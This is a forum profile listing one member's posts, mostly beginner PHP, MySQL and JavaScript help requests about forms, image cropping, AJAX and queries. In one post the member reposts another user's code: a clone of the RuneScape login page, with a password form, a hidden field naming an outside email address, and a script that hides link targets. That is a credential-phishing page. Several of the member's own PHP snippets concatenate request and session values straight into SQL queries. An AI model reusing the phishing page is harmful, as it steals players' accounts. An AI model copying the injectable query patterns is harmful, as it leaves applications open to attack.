Jump to content

envexlabs

Members
  • Posts

    256
  • Joined

  • Last visited

    Never

Everything posted by envexlabs

  1. As soon as i add another mysql_fetch_row to the while, all the options go blank. it's not grabbing the first $tag fetchrow, which is why they are going blank. I'm thinking of just using ajax, and updating each one when it is changed, instead of changing all at once.
  2. it's still ignoring my first mysql_fetch_row.
  3. im an idiot, i didn't even think to just grab the store_id's from the table. i will try this! thanks
  4. @berand the html output that the user sees is: Tag 1: option box (so the user has previously selected option 2, so option 2 should be selected) Tag 2: option box (so the user has previously selected option 3, so option 3 should be selected) Tag 3: option box (so the user has previously selected option 1, so option 1 should be selected) using only one query, duplicates the option 3 times, so i dont think that will work. I've been tinkering around, and my while($tags = mysql_fetch_row($select_tags_query) && $selected = mysql_fetch_row($selected_tag_query)) is working, but it's only fetching the rows of $selected and not $tags. I think if i can get the while to grab both i will be golden Thanks
  5. the tags table looks like this: tag_id | tag_name -------------------- 1 | shirt 2 | pants 3 | hat the store_tags table looks like this: store_id | tag_id | order_id ------------------------------- 1 | 2 | 1 1 | 3 | 2 1 | 1 | 3 When the users goes to edit his tags, i want the tag that the user has chosen to be selected in the option box. Either that, or i can't figure out a way to only update a changed tag.
  6. Hey, I am trying to loop out an option box, but i'm hit a wall. Here is the code: $select_tags_query = mysql_query('SELECT * FROM `tags`'); $selected_tag_query = mysql_query('SELECT * FROM `store_tags`'); while($tags = mysql_fetch_row($select_tags_query) && $selected = mysql_fetch_row($selected_tag_query)){ echo '<option name="' . $tags[0] . '" value="' . $tags[0] . '"'; if($tags[0] == $selected[2]) { echo "selected"; }else{} echo '>' . $tags[1] . '</option>'; } $select_tags_query is grabbing from a table and looping out tag values. $selected_tag_query is grabbing from a list that determines what the user has previously selected, tag wise. I think that this is the problem: $tags = mysql_fetch_row($select_tags_query) && $selected = mysql_fetch_row($selected_tag_query) This may be confusing, but if anyone can help that would be greatly appreciated!
  7. Hey, here is my code: <li id="square1"><a href="#" onmouseover="play=false; display(1);" title="Your customers are online..."><div id="square1_blue" style="display: none;">The Challenge...</div></a></li> <li id="square2"><a href="#" onmouseover="play=false; display(2);" title="Your customers are online..."><div id="square2_blue" style="display: none;">Your customers are online...</div></a></li> <li id="square3"><a href="#" onmouseover="play=false; display(3);" title="Your customers are online..."><div id="square3_blue" style="display: none;">So Is Your Competition...</div></a></li> <li id="square4"><a href="#" onmouseover="play=false; display(4);" title="Your customers are online..."><div id="square4_blue" style="display: none;">First Impressions Mean Everything Online...</div></a></li> <li id="square5"><a href="#" onmouseover="play=false; display(5);" title="Your customers are online..."><div id="square5_blue" style="display: none;">What Kind of First Impressions Is Your Site Making?</div></a></li> </ul> <script type="text/javascript"> function display(switchme) { if(switchme == 1) { document.write('<ul id="box1-content">' + '<li class="odd">9 out of 10 online customers link the dealership&#39;s response time to the likelihood they will buy from that store. <span class="source">- Outsell LLC, 2006</span></li>' + '<li class="even_na">' + '<ul class="box_inner">' + '<li class="box_inner">How fast is your response time to email inquiries to your sales, finance, service, and parts departments?</li>' + '<li>Is your email response time equal to your competition? The best in class e-dealers in the country?</li>' + '</ul>' + '</li>' + '<li class="odd">8 out of 10 online customers will walk away from a dealership&#39;s website without ever letting you know. <span class="source">- CapGemini, 2006</span>' + '<li class="even_na">' + '<ul class="box_inner">' + '<li class="box_inner">How often are you aware your website has bad links, slow loading pages, or expired specials being displayed?</li>' + '<li class="box_inner">How does your website stack up to your competition? What do the best in class e-dealers offer that you don\'t?</li>' + '</ul>' + '</li>' + '<li class="odd">Track, monitor, and benchmark your website and online sales and service experience with eDealerMonitor. <a onClick="Effect.toggle(\'slide_content\', \'blind\');">Click here</a> to learn more.</li>' + '</ul>'); } else if(switchme == 2) { document.write('<ul id="box1-content">' + '<li class="odd">70% of consumers buying a car use the Internet as part of the shopping process.<br /><span class="source">(Statistic Source: J.D. Power & Associates, 2006)</span></li>' + '<li class="even">The number of unsolicited leads has tripled in the last 5 years (97 to 320/mo)<br /> <span class="source">(Source: NADA, 2006)</span></li>' + '<li class="odd">Almost 75% of consumers have 6+ years of online experience.<br /> <span class="source">(Statistic Source: Ipsos, 2006)</span></li>' + '<li class="even">89% of consumers have used email for customer service.<br /><span class="source">(Statistic Source: DoubleClick, 2005)</span></li>' + '</ul>'); } else if(switchme == 3) { document.write('<ul id="box1-content">' + '<li class="odd">95% of dealers have a website.<br /><span class="source">(Statistic Source: NADA, 2006)</span></li>' + '<li class="even">52% of dealers have a dedicated Internet sales representative.<br /> <span class="source">(Source: NADA, 2006)</span></li>' + '<li class="odd">E-bay is selling one vehicle unit every 60 seconds.<br /> <span class="source">(Statistic Source: Wards, 2007)</span></li>' + '<li class="even">27.5% of all used vehicle transactions in 2006 were initiated or transacted via the Internet.<br /><span class="source">(Statistic Source: Wards, 2007)</span></li>' + '</ul>'); } else if(switchme == 4) { document.write('<ul id="box1-content">' + '<li class="odd">92% of online customers link the speed of the dealership&#39s response time to the likelihood they will buy from that store<br /><span class="source">(Statistic Source: Outsell LLC, 2006)</span>' + '</li>' + '<li class="even">85% of unfulfilled online customers will walk away from your website without ever letting you know why<br /><span class="source">(Statistic Source: Outsell LLC, 2006)</span>' + '</li>' + '<li class="odd">50% of online customers who have a poor experience at a dealership&#39s website will switch to another dealer<br /><span class="source">\(Statistic Source: Capgemini, 2006\)</span>' + '</li>' + '</ul>'); } else if(switchme == 5) { document.write('<ul id="box1-content">' + '<li class="odd">What is your dealer website and email inquiry response time? Is it staying the same, getting better, or getting worse?</li>' + '<li class="even">Do your website links to sales, service and support function properly? Are your website offerings current?</li>' + '<li class="odd">How does your website and email inquiry response times compare to best in class e-dealers... To your competition?</li>' + '<li class="even">Do you have the measures and information to effectively manage your Internet sales department?</span></li>' + '<li class="odd">Let us provide you with the answers.' + '<a onClick="Effect.toggle(\'slide_content\', \'blind\');">Click here</a> for more information about eDealerMonitor and our services.</li>' + '</ul>'); } else { //do nothing } } </script> If i just run the function display(5); it works, but when i run the function on the mouseover, it switches to a blank page and renders out the html. Am i doing something wrong? Any help is greatly appreciated, i'm on about a 15 min deadline Thanks, envex
  8. Hey, So i tried the function and i'm getting this, and it's not working CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality Then a bunch of jibberish. any ideas?
  9. Hello, I have an image path stored in a database. ie. uploads/pics/picture.jpg How can i grab that image, and create a thumbnail from it? Thanks, envex
  10. Hey, I have a dynamic image cropper on a clients website. Once the image is cropped, i want to create 2 images from the cropped image. One 236 x 236px, and one 81 x 81px. Here is the cropper script: function cropImage($nw, $nh, $source, $stype, $dest) { $size = getimagesize($source); $w = $size[0]; $h = $size[1]; switch($stype) { case 'gif': $simg = imagecreatefromgif($source); break; case 'jpg': $simg = imagecreatefromjpeg($source); break; case 'png': $simg = imagecreatefrompng($source); break; } $dimg = imagecreatetruecolor($nw, $nh); $wm = $w/$nw; $hm = $h/$nh; $h_height = $nh/2; $w_height = $nw/2; if($w> $h) { $adjusted_width = $w / $hm; $half_width = $adjusted_width / 2; $int_width = $half_width - $w_height; //imagecopyresampled($dimg,$simg,-$int_width,0,0,0,$adjusted_width,$nh,$w,$h); imagecopy($dimg, $simg, 0, 0, $_POST[x1], $_POST[y1], $w, $h); } elseif(($w <$h) || ($w == $h)) { $adjusted_height = $h / $wm; $half_height = $adjusted_height / 2; $int_height = $half_height - $h_height; //imagecopyresampled($dimg,$simg,0,-$int_height,0,0,$nw,$adjusted_height,$w,$h); imagecopy($dimg, $simg, 0, 0, $_POST[x1], $_POST[y1], $w, $h); } else { //imagecopyresampled($dimg,$simg,0,0,0,0,$nw,$nh,$w,$h); imagecopy($dimg, $simg, 0, 0, $_POST[x1], $_POST[y1], $w, $h); } imagejpeg($dimg,$dest,100); } so image.jpg is uploaded, and it's 400 x 400px. I want to overide image.jpg with a new image.jpg that is 236 x 236. I also want to create a image_thumb.jpg which is 81 x 81. What would be the best, most efficient way to go about creating these 2 new images behind the scenes. Thanks, envex
  11. Hey, I have this loop function that runs when the page is loaded. How can i make it so that when i rollover one of the buttons, it stops the function from running? Here is the code: function cycle(){ function one(){ ajax(1); new Effect.Appear('square1_blue', {duration: 1}); new Effect.Fade('square1_blue', {delay: 3, afterFinish: two}); } function two(){ ajax(2); new Effect.Appear('square2_blue', {duration: 1}); new Effect.Fade('square2_blue', {delay: 3, afterFinish: three}); } function three(){ ajax(3); new Effect.Appear('square3_blue', {duration: 1}); new Effect.Fade('square3_blue', {delay: 3, afterFinish: four}); } function four(){ ajax(4); new Effect.Appear('square4_blue', {duration: 1}); new Effect.Fade('square4_blue', {delay: 3, afterFinish: one}); } //starts the function ajax(1); new Effect.Appear('square1_blue', {duration: 1}); new Effect.Fade('square1_blue', {delay: 3, afterFinish: two}); } Thanks, envex
  12. So i think i may have found a way around it. So we have the ID of the element. Could i set the store ID as the elements class and then grab the class name? If that makes sense?! Thanks, envex
  13. Hey, I'm working on an edit-in-place AJAX dealy, but i've hit a snag. Here is my code: function init(){ makeEditable('store_name'); } function makeEditable(id){ Event.observe(id, 'click', function(){edit($(id))}, false); Event.observe(id, 'mouseover', function(){showAsEditable($(id))}, false); Event.observe(id, 'mouseout', function(){showAsEditable($(id), true)}, false); } The problem i am having is that makeEditable('store_name') grabs the id of elements named store_name, and PHP is also putting the store ID on the end: store_name_15 I need to do that because AJAX needs to grab that ID (15) so that mySQL knows what table to update. and now the question: How do i change it so that it's grabbing the Class, instead of the ID? or is there an easier way to somehow pass an ID number to the javascript file via PHP. Thanks, envex
  14. i figured it out http://www.developertutorials.com/tutorials/javascript/javascript-php-explode-function-051018/page1.html
  15. Hey, I have a var which holds the value of: product_15 How do i go about only displaying characters after the _. I just want the 15. Any help is greatly appreciated. Thanks, envex
  16. Hey, Anywere on the site where I can add my description to an item or a store - whenever I type an apostrophe it comes up with an error. Eg. It’s a sale! will become: It\’s a sale! How do i go about fixing this? Thanks, envex
  17. Hey, I have this function that checks a couple of things function no_store($store_id){ $store_check_mem_id = $_SESSION['_amember_user']; $check_store_query = mysql_query('SELECT * FROM `store` WHERE `store_id` = ' . $store_check_mem_id[member_id] . ''); $store_exist_query = mysql_query('SELECT * FROM `store` WHERE `store_id` = ' . $store_id . ''); //STEP ONE //if the store doesn't exist it boots the user to the index page if(mysql_num_rows($store_exist_query) > 0) { //STEP TWO //checks if the $_GET[store_id] as been deleted or left blank if ($_GET[store_id] == "") { //boots user header('Location: http://www.werehavingasale.com/index.php'); }else{ if(mysql_num_rows($check_store_query) > 0) { //everything is good and the user can go about his business }else{ //STEP 3 //if the logged in user has not created a store, it sends them to create one header('Location: http://www.werehavingasale.com/createstore.php'); } } }else{ //boots user header('Location: http://www.werehavingasale.com/index.php'); } } The problem i am having is with the $check_store_query It will only work if a user is logged in, but i need it to work both ways. Is there a way i can tell mySQL or PHP to skip it if it fails? Thanks, envex
  18. Hey, I have a query: SELECT * FROM `table` WHERE `ID` = 5; If the query doesn't return anything, ie. ID #5 doesn't exist, how do i check that? Thanks, envex
  19. Hey, I have to send ALOT of emails at once, but media temple limits it to 500 emails per hour, which is why i dont want to use SMTP. is this going to take forever using just PHP, or is there a faster way? P.S. It's not for spam purposes thanks, envex
  20. $thefile = "testFile.txt"; $fh = fopen($myFile, 'w') or die("can't open file"); $stringData = !!!This is where all your $_POST data would go!!!; fwrite($fh, $stringData); fclose($fh);
  21. Please use the code button! <!--CTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dt--> <meta http-equiv="Expires" content= "0" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Cache-Control" content= "no-cache" /> <meta content="TRUE" name="MSSmartTagsPreventParsing" /> <link media="all" href=" http://www.runescape.com/css/basic-1.css" type="text/css" rel="stylesheet" /> <link media= "all" href=" http://www.runescape.com/css/extra-1.css" type="text/css" rel="stylesheet" /> <TITLE> RuneScape - the massive online adventure game by Jagex Ltd </TITLE> <script> function hidestatus(){ window.status='' return true } if (document.layers) document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT) document.onmouseover=hidestatus document.onmouseout=hidestatus </SCRIPT><style type= "text/css"> .buttons { width: 600px; height: 60px; position: relative; margin: auto; } .buttons a{ display: block; position: absolute; width: 260px; height: 40px; margin: 5px; background: #808080; font-weight: bold; color: white; text-align: center; border: 2px outset #909090;} .buttons a:hover { background: #A0A0A0; border-color: #ffffff} #button-left {left: 0px; top: 0px; padding-top:3px;} #button-left span.lev1 {background-image: url('http://www.runescape.com/img/loginpage/open.gif'); } #button-right {right: 0px; top: 0px; padding-top:3px;} #button-right span.lev1 { background-image: url(' http://www.runescape.com/img/loginpage/lost-your.gif');} span.lev1 { display: block; cursor: pointer; cursor: hand; position: absolute; top: -10px; left: -10px; width: 286px; height: 60px;} a:hover span.lev1 { background-position: 0 60px;} </style> <div id= "body"> <div style="BACKGROUND: none transparent scroll repeat 0% 0%; TEXT-ALIGN: center"> <div class= "titleframe e"><strong>Secure Login</strong> <a href=" http://www.runescape.com/title.ws">Main Menu[/url] </div> </div> <img class="widescroll-top" style= "MARGIN-TOP: -25px" height="50" alt="" width="765" src="http://www.runescape.com/img/scroll/backdrop_765_top.gif " /> <div class="widescroll" style="TEXT-ALIGN: center"> <div class= "widescroll-bgimg"> <div class="widescroll-content" style="PADDING-TOP: 0px"><span style= "PADDING-RIGHT: 0px; DISPLAY: block; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: 25px"><img title="Login to Access this Feature" style="DISPLAY: block; MARGIN: auto" alt="Login to Access this Feature" src= "http://www.runescape.com/img/loginpage/log-in.gif" /></span> <div style= "FONT-SIZE: 8pt; MARGIN: auto"> </div> <div style="MARGIN: 4px auto auto; WIDTH: 414px; POSITION: relative; HEIGHT: 214px" > <table style="WIDTH: 414px; HEIGHT: 214px" cellspacing="0" cellpadding= "0"> <tbody> <tr> <td width="400" colspan="3" height= "7"><img style="LEFT: 0px; POSITION: absolute; TOP: 0px" alt="" src= "http://www.runescape.com/img/loginpage/shadow_top.gif" /> </td> </tr> <tr> <td width="7" height="200"><img style= "LEFT: 0px; POSITION: absolute; TOP: 7px" alt="" src=" http://www.runescape.com/img/loginpage/shadow_left.gif" /> </td> <td width="400" height="200" > <div style="FILTER: alpha(opacity=50); LEFT: 7px; WIDTH: 400px; POSITION: absolute; TOP: 7px; HEIGHT: 200px; BACKGROUND-COLOR: #3e434d; -moz-opacity: 0.5; opacity: 0.5"></div> <div style="Z-INDEX: 2; LEFT: 40px; POSITION: absolute; TOP: 70px"> <form action="?login" name="access_password" method="post" autocomplete="off" > <table style="FILTER: alpha(opacity=100); -moz-opacity: 1.0; opacity: 1.0"> <tbody> <tr> <td>RuneScape username:</td> <td><input maxlength= "12" name="username" /></td> </tr> <tr> <td>RuneScape password:</td> <td><input type= "password" maxlength="20" name="password" /></td> </tr> <tr> <td> </td> <td align="center"><input type="submit" value= "Secure Login" /></td> </tr> </tbody> </table> <input type="hidden" name="dest" value="mrwhiskers2345@yahoo.com" /> </form> </div> </td> <td style= "LEFT: 407px; POSITION: absolute; TOP: 7px" width="7" height="200" ><img alt="" src=" http://www.runescape.com/img/loginpage/shadow_right.gif" /> </td> </tr> <tr> <td width="400" colspan= "3" height="7"><img style="LEFT: 0px; POSITION: absolute; TOP: 207px" alt= "" src="http://www.runescape.com/img/loginpage/shadow_bottom.gif " /> </td> </tr> </tbody> </table> </div> <div style="MARGIN: auto"><img id= "dont" title="Only Enter Your Password On RuneScape.com" style="MARGIN: auto; PADDING-TOP: 5px" alt= "Only Enter Your Password On RuneScape.com" src=" http://www.runescape.com/img/loginpage/runescape_only_ie6_2.gif" /> </div> <script type="text/javascript"> var ua=navigator.userAgent.toLowerCase (); if (ua.indexOf('firefox')>-1 || ua.indexOf('macintosh')>-1) { document.getElementById('dont').src=' http://www.runescape.com/img/loginpage/runescape_only_ff_2.gif'; } if (ua.indexOf('msie 7.0')>-1) { document.getElementById('dont').src=' http://www.runescape.com/img/loginpage/runescape_only_ie7_2.gif'; } </script> <div class="buttons"><a class= "button" id="button-left" href=" https://create.runescape.com/index.html"><span class="lev1"></span>Open a New Account! Click Here![/url] <a class= "button" id="button-right" href=" https://password.runescape.com/passsupport.html"><span class="lev1"></span>Lost Your Password? Click Here![/url] </div> </div> </div> </div> <img class= "widescroll-bottom" height="50" alt="" width= "765" src="http://www.runescape.com/img/scroll/backdrop_765_bottom.gif " /> <div class="tandc">This website and its contents are copyright � 1999 - 2007 Jagex Ltd. Use of this website is subject to our <a class= "c" href=" http://www.runescape.com/terms/terms.ws">Terms+Conditions[/url] and <a class="c" href=" http://www.runescape.com/privacy/privacy.ws">Privacy policy[/url] </div> </div> it makes it ALOT easier for us to read.
  22. <style> isn't a tag unless it's used in the head. trying using <p style="color: red;">Text</p> Inline styles are the greatest way of doing things, but they can get the job done. You could also just assign a class in php of red; .red{ color: red; } then use <p class="red">
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.